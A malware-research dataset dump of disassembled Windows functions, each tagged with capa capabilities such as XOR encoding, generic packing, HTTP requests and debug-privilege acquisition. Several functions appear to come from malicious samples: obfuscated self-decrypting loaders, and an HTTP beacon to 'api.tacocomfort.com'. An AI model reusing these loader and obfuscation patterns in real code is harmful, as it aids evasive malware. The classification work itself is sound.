joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101bb7f0
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
call fcn.100a59e2
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x101bb82e
cmp dword [ebp + 8], 0
je 0x101bb81c
lea eax, [ebp + 8]
push eax
call fcn.100a911e
add esp, 4
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x101bb82e
mov eax, 4
jmp 0x101bb95e
call fcn.100a7981
movzx edx, al
test edx, edx
jne 0x101bb85c
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x101bb84d
mov dword [ebp - 0xc], 4
jmp 0x101bb854
mov dword [ebp - 0xc], 3
mov eax, dword [ebp - 0xc]
jmp 0x101bb95e
movzx eax, byte [ebp - 1]
test eax, eax
je 0x101bb905
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
push 0
push 0
lea ecx, [ebp - 0x34]
push ecx
push 0x101bbb40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
lea ecx, [ebp - 8]
call fcn.100a9934
lea ecx, [ebp - 8]
call fcn.100a5f4b
movzx edx, al
test edx, edx
jne 0x101bb8c7
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 8]
call fcn.100a7b52
mov eax, dword [ebp - 0x10]
jmp 0x101bb95e
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 8]
call fcn.100aa884
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
test eax, eax
je 0x101bb8f2
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 8]
call fcn.100a7b52
mov eax, dword [ebp - 0x14]
jmp 0x101bb95e
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 8]
call fcn.100a7b52
mov eax, dword [ebp - 0x18]
jmp 0x101bb95e
call fcn.100a5929
movzx ecx, al
test ecx, ecx
jne 0x101bb93e
mov edx, dword [ebp + 0x10]
or edx, 0x200000
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp + 0xc]
push ecx
lea edx, [ebp + 8]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.100a7df5
add esp, 0x10
jmp 0x101bb95e
call fcn.100ab293
mov dword [ebp - 0x24], eax
lea ecx, [ebp + 0x10]
push ecx
lea edx, [ebp + 0xc]
push edx
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x24]
push ecx
call fcn.100a83c7
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..idata
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1ddd0c52
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x13092009
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x3503bf2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x350a846]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.03502b49
and dword [ebp - 0x14], 0
cmp dword [0x350b972], 0
mov dword [ebp - 0x18], eax
jne 0x3503ca5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x3503d4d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x3503d4d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x350b972], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x350b976], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x350b97a], eax
call edi
push eax
call esi
mov dword [0x350b982], eax
test eax, eax
je 0x3503ca5
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x350b97e], eax
mov eax, dword [0x350b97e]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x3503cfe
cmp dword [0x350b982], ecx
je 0x3503cfe
push eax
call esi
push dword [0x350b982]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x3503cfe
test ebx, ebx
je 0x3503cfe
call edi
test eax, eax
je 0x3503cf5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x3503cf5
test byte [ebp - 8], 1
jne 0x3503cfe
or dword [ebp + 0x10], 0x200000
jmp 0x3503d31
mov eax, dword [0x350b976]
cmp eax, dword [ebp - 0x18]
je 0x3503d31
push eax
call esi
test eax, eax
je 0x3503d31
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x3503d31
mov eax, dword [0x350b97a]
cmp eax, dword [ebp - 0x18]
je 0x3503d31
push eax
call esi
test eax, eax
je 0x3503d31
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x350b972]
call esi
test eax, eax
je 0x3503d4d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x3503d4f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.03503f5d
leave
ret

Function at 0x3503f5d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x350a846]
jne 0x3503f67
repz ret
jmp fcn.035051cd

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d7a
nop
sub eax, 0x403d20
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x10001a40
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [0x10074900], eax
test eax, eax
je 0x10001b35
mov esi, dword [section..data]
cmp byte [ebp + 8], 0
push 0
cmovne esi, dword [str.api.tacocomfort.com]
push 0
push 3
push 0
push 0
push 0x50
push esi
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [0x10074904], eax
test eax, eax
je 0x10001b35
push esi
push str.Host:__s
push 0x200
push 0x10074f10
mov byte [0x10074f10], 0
call fcn.10001080
push str.Content_Type:_application_x_www_form_urlencoded
push 0x200
push 0x10074f10
call fcn.100010b0
push str.Connection:_keep_alive
push 0x200
push 0x10074f10
call fcn.100010b0
push str.Cache_Control:_no_cache
push 0x200
push 0x10074f10
call fcn.100010b0
push str.Accept:__
push 0x200
push 0x10074f10
call fcn.100010b0
add esp, 0x40
push str.User_Agent:_HVACS
push 0x200
push 0x10074f10
call fcn.100010b0
mov ecx, 0x10074f10
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001b21
sub ecx, edx
mov al, 1
mov dword [0x1007490c], ecx
pop esi
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
pop esi
pop ebp
ret
Function at 0x1000f84c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000f8e9
push ebx
push esi
call fcn.1000f815
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000f75e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000f896
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000f8e8
push edi
push eax
call fcn.1000ce72
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000f8b6
call fcn.1000ce38
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000f8e7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000f75e
add esp, 0x20
test eax, eax
jne 0x1000f8d5
push edi
call fcn.1000ce38
jmp 0x1000f8dd
push ebx
call fcn.1000ce38
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000fb54
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001b078
push 0x1001b070
push str.FlsAlloc
push 0x1e
call fcn.1000fa72
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000fb88
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001812c]
call esi
jmp 0x1000fb8e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000fbd2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001b088
push 0x1001b080
push str.FlsGetValue
push 0x20
call fcn.1000fa72
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000fc09
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001812c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x10016b60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10016b8d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10016b8d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x29807350
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x29877b48]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x29807376
xor eax, eax
jmp 0x29807433
mov eax, dword [esi + 0x20]
cmp dword [eax], 0
je 0x29807398
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, dword [eax]
cmp dword [eax], edx
jae 0x29807398
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
mov byte [eax], bl
mov eax, ebx
jmp 0x29807433
cmp dword [esi + 0x4c], 0
je 0x29807431
call fcn.29806b4d
mov ecx, dword [esi + 0x38]
mov al, bl
test ecx, ecx
jne 0x298073c2
push dword [esi + 0x4c]
push eax
call fcn.298419c8
test al, al
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x29807431
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x298073ff
sub eax, 1
je 0x298073ff
dec eax
sub eax, 1
jne 0x29807431
push dword [esi + 0x4c]
push dword [ebp - 0x28]
jmp 0x298073b4
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x30], eax
je 0x29807423
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x30], eax
jne 0x29807431
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x34], eax
mov eax, ebx
jne 0x29807433
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.29801ca0
leave
ret 4
Function at 0x29827184
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x29855122
call fcn.298516be
mov edx, dword [ebp + 0xc]
xor ebx, ebx
mov eax, dword [ebp + 8]
mov esi, ebx
mov dword [ebp - 0x42c], edx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test eax, eax
je 0x298273a5
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
inc eax
push 2
push eax
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
call fcn.298419c8
add esp, 0x10
test eax, eax
js 0x2982739f
mov edi, dword [ebp - 0x420]
cmp edi, 0x400
jg 0x29827228
push edi
call fcn.298281ed
pop ecx
test al, al
je 0x29827228
mov eax, edi
call fcn.29851dd0
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x2982723a
push edi
lea ecx, [ebp - 0x424]
call fcn.298419c8
mov esi, dword [ebp - 0x424]
push 3
push edi
push dword [ebp - 0x41c]
push eax
call fcn.298419c8
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x2982739f
push 0x60
push ebx
push eax
call fcn.29828560
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x29827292
push 2
push ebx
push dword [ebp - 0x41c]
call fcn.29828560
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x29827292
call fcn.29825408
mov ebx, eax
jmp 0x2982736e
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x298272b9
call fcn.29825408
jmp 0x29827361
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x298272af
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x41c], eax
lea ecx, [eax + 1]
cmp ecx, eax
jae 0x298272ec
mov ebx, 0x8007000e
jmp 0x29827363
push ecx
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.298419c8
jmp 0x29827312
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x298272e5
mov eax, dword [ebp - 0x41c]
push eax
push dword [ebp - 0x428]
push eax
push dword [ebp - 0x418]
call fcn.298419c8
mov eax, dword [ebp - 0x418]
add esp, 0x10
mov ecx, dword [ebp - 0x41c]
push dword [ebp + 0x14]
mov byte [eax + ecx], bl
lea ecx, [ebp - 0x434]
push dword [ebp - 0x418]
call fcn.298419c8
mov ebx, eax
test edi, edi
je 0x2982736e
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x29827387
lea ecx, [ebp - 0x418]
call fcn.29825fb4
or dword [ebp - 4], 0xffffffff
jmp 0x29827397
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x2982738d
mov eax, ebx
jmp 0x298273d3
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x298273ba
lea ecx, [ebp - 0x418]
call fcn.29825fb4
or dword [ebp - 4], 0xffffffff
jmp 0x298273ca
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x298273c0
mov eax, 0x8007000e
lea esp, [ebp - 0x444]
call fcn.29851676
ret 0x10
Function at 0x298419c8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x298419d7
pop dword [ebp - 0xc]
mov eax, 0x1c6da054
add eax, 0xd167983
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x218b99ec
sub dword [ebp - 0x1c], 0xd33954a1
mov dword [ebp - 0x18], 0xb02b5353
sub dword [ebp - 0x18], 0x7df8070e
mov dword [ebp - 0x14], 0x3f0f9d70
add dword [ebp - 0x14], 0xd3ca6be
mov dword [ebp - 0x10], 0x24209f3f
sub dword [ebp - 0x10], 0x24209f3f
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x65d58e3b
add eax, 0xc3aff285
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xd702e2a0
add dword [ebp - 0x1c], 0x9d6f86b6
mov dword [ebp - 0x18], 0x768e10c4
add dword [ebp - 0x18], 0xcade50b1
mov dword [ebp - 0x14], 0x8c34d276
add dword [ebp - 0x14], 0xd73a99f6
mov dword [ebp - 0x10], 0xedbf0a3
add dword [ebp - 0x10], 0xf1240f5d
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xf5e07bac
sub eax, 0xcc5afaf4
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x44b70
push 0
call eax
mov ecx, 0x8aa5bb03
add ecx, 0x755a7f3d
xor esi, esi
add esi, eax
mov edi, 0x5658ca1b
sub edi, 0x2ccf561b
add edi, dword [ebp - 0xc]
mov edx, 0x2af9d96c
xor dword [ebp - 8], esi
mov ebx, dword [edi]
add dword [ebp - 8], 0x895a1408
xor ebx, edx
add dword [ebp - 4], 0xe4cb3502
mov dword [esi], ebx
sub dword [ebp - 4], edx
add esi, 0x43d2bb60
sub esi, 0x43d2bb5c
add edi, 4
loop 0x29841af5
add eax, 0xdbd3
mov ebx, eax
add eax, 0xdb209120
add eax, 0x24df6ee5
mov ecx, 0x29800000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401957
Capabilities:
Hash data with crc32

Disassembly:
push esi
push 8
xor eax, eax
add ecx, ecx
pop esi
sar ecx, 1
mov edx, eax
xor edx, ecx
shr eax, 1
test dl, 1
je 0x401971
xor eax, 0xedb88320
dec esi
test esi, esi
jg 0x40195f
pop esi
ret

Function at 0x401994
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 8], 0
mov eax, dword [0x41bb2c]
je 0x4019c4
mov ecx, dword [esp + 4]
push esi
movzx edx, byte [ecx]
dec dword [esp + 0xc]
movzx esi, al
xor edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x41b728]
inc ecx
cmp dword [esp + 0xc], 0
jne 0x4019a5
pop esi
mov dword [0x41bb2c], eax
ret

Function at 0x401cb6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 8], 0
push esi
mov esi, str.sfxhead.c
jne 0x401cd4
push 0xc64
push esi
call fcn.0040281f
pop ecx
pop ecx
cmp dword [ebp + 0xc], 0
jg 0x401ce7
push 0xc65
push esi
call fcn.0040281f
pop ecx
pop ecx
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.004013de
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [0x41cb70]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
pop esi
jge 0x401d13
xor al, al
leave
ret
push dword [ebp - 4]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401bd3
add esp, 0xc
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [ebp - 8]
test eax, eax
je 0x401d47
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, 1
leave
ret

Function at 0x4046b3
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, 0x7000
push esi
push 0
push dword [0x41b584]
call fcn.004013de
mov eax, dword [0x41b716]
add esp, 0xc
test eax, eax
jg 0x4046de
and dword [0x41cae4], 0
xor eax, eax
pop esi
ret
cmp eax, esi
ja 0x4046e4
mov esi, eax
push esi
push dword [0x41b584]
push dword [0x41a004]
call fcn.0040a659
add esp, 0xc
cmp dword [0x41cb10], 0
mov dword [0x41cae4], eax
je 0x404750
cmp eax, 0xffffffff
je 0x404750
cmp eax, esi
je 0x40475c
test eax, eax
jl 0x404750
mov ecx, dword [0x41a00c]
mov edx, dword [0x41cb14]
inc ecx
call fcn.00402ebb
mov eax, dword [0x41cae4]
test eax, eax
jne 0x404749
push esi
push dword [0x41b584]
push dword [0x41a004]
call fcn.0040a659
add esp, 0xc
mov dword [0x41cae4], eax
cmp eax, 0xffffffff
je 0x404750
mov esi, eax
cmp eax, esi
je 0x40475c
push 2
pop ecx
jmp fcn.00403eae
mov esi, dword [0x41b584]
mov ecx, dword [0x41a044]
mov dword [0x41cae0], esi
test byte [ecx + 0x28], 1
je 0x4047ae
mov byte [0x41cadf], 1
test word [ecx + 0x28], 0x1300
jne 0x4047ba
push edi
mov edi, eax
test edi, edi
je 0x4047a6
dec edi
call fcn.0040a2a5
xor byte [esi], al
movzx eax, byte [esi]
push eax
call fcn.0040a2bf
inc esi
test edi, edi
pop ecx
jne 0x40478a
mov eax, dword [0x41cae4]
mov byte [0x41cadf], 0
pop edi
mov ecx, eax
dec eax
mov dword [0x41cae4], eax
mov eax, ecx
pop esi
ret
push 0x100c
push dword [0x41a01c]
call fcn.0040281f
int3
Function at 0x40a2bf
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [0x426c18]
mov ecx, eax
xor ecx, dword [esp + 4]
shr eax, 8
mov edx, 0xff
and ecx, edx
xor eax, dword [ecx*4 + 0x41b728]
mov ecx, dword [0x426c20]
mov dword [0x426c18], eax
movzx eax, al
add eax, dword [0x426c1c]
imul eax, eax, 0x8088405
inc eax
mov dword [0x426c1c], eax
shr eax, 0x18
xor eax, ecx
and eax, edx
shr ecx, 8
xor ecx, dword [eax*4 + 0x41b728]
mov eax, dword [esp + 4]
mov dword [0x426c20], ecx
ret

Function at 0x40a34f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x41a4c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push dword [0x41cb0c]
mov esi, ecx
call fcn.0040a317
push 0xc
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.0040138e
add esp, 0x10
xor esi, esi
lea edx, [ebp + esi - 0x10]
call fcn.0040a2a5
xor byte [edx], al
movzx eax, byte [edx]
push eax
call fcn.0040a2bf
inc esi
cmp esi, 0xc
pop ecx
jl 0x40a37e
cmp dword [0x41cb08], 0
movzx ax, byte [ebp - 5]
movzx eax, ax
pop esi
je 0x40a3bd
movzx cx, byte [0x41b70f]
cmp ax, cx
je 0x40a3c7
or eax, 0xffffffff
jmp 0x40a3c9
movzx cx, byte [0x41b715]
jmp 0x40a3b3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b060
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x407458
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x407467
pop dword [ebp - 0x38]
mov eax, 0x407467
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xf2f6a022
add dword [ebp - 0x48], 0x5b5ba529
mov dword [ebp - 0x44], 0x69bfa2d
add dword [ebp - 0x44], 0x2b975218
mov dword [ebp - 0x40], 0x7a1d979a
add dword [ebp - 0x40], 0xd22eac94
mov dword [ebp - 0x3c], 0x3a66423
sub dword [ebp - 0x3c], 0x3a66423
lea eax, [ebp - 0x48]
push eax
mov eax, 0x257fcb3f
add eax, 0xdac0b539
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xd611bf1
add dword [ebp - 0x48], 0x67114d65
mov dword [ebp - 0x44], 0x4d14e72
sub dword [ebp - 0x44], 0xc364ecfd
mov dword [ebp - 0x40], 0xb25f332
sub dword [ebp - 0x40], 0xa7b686c6
mov dword [ebp - 0x3c], 0x3113b16a
sub dword [ebp - 0x3c], 0x3113b16a
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xec9e5a5b
add eax, 0x13a22621
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x33394
push 0
call eax
mov ecx, 0x387d
mov esi, eax
mov edi, 0x451400
add edi, dword [ebp - 0x38]
mov edx, 0xb284657b
sub edx, 0xa6c745e0
add dword [ebp - 0x30], eax
mov ebx, dword [edi]
sub dword [ebp - 0x10], 0x2aff778f
add ebx, edx
xor dword [ebp - 0x14], ecx
mov dword [esi], ebx
xor dword [ebp - 0x10], edx
add esi, 0x4cc64b41
sub esi, 0x4cc64b3d
add edi, 4
loop 0x407578
add eax, 0x661c8a71
sub eax, 0x661bb5aa
mov ebx, eax
add eax, 5
mov ecx, 0x6e8bd9b0
sub ecx, 0x6e4bd9b0
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x98d1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.0098d140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.0098d140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.0098d140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.0098d140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x98dbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x98dc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x99f87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x98dc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x98dc52
xor eax, eax
pop esi
leave
ret 4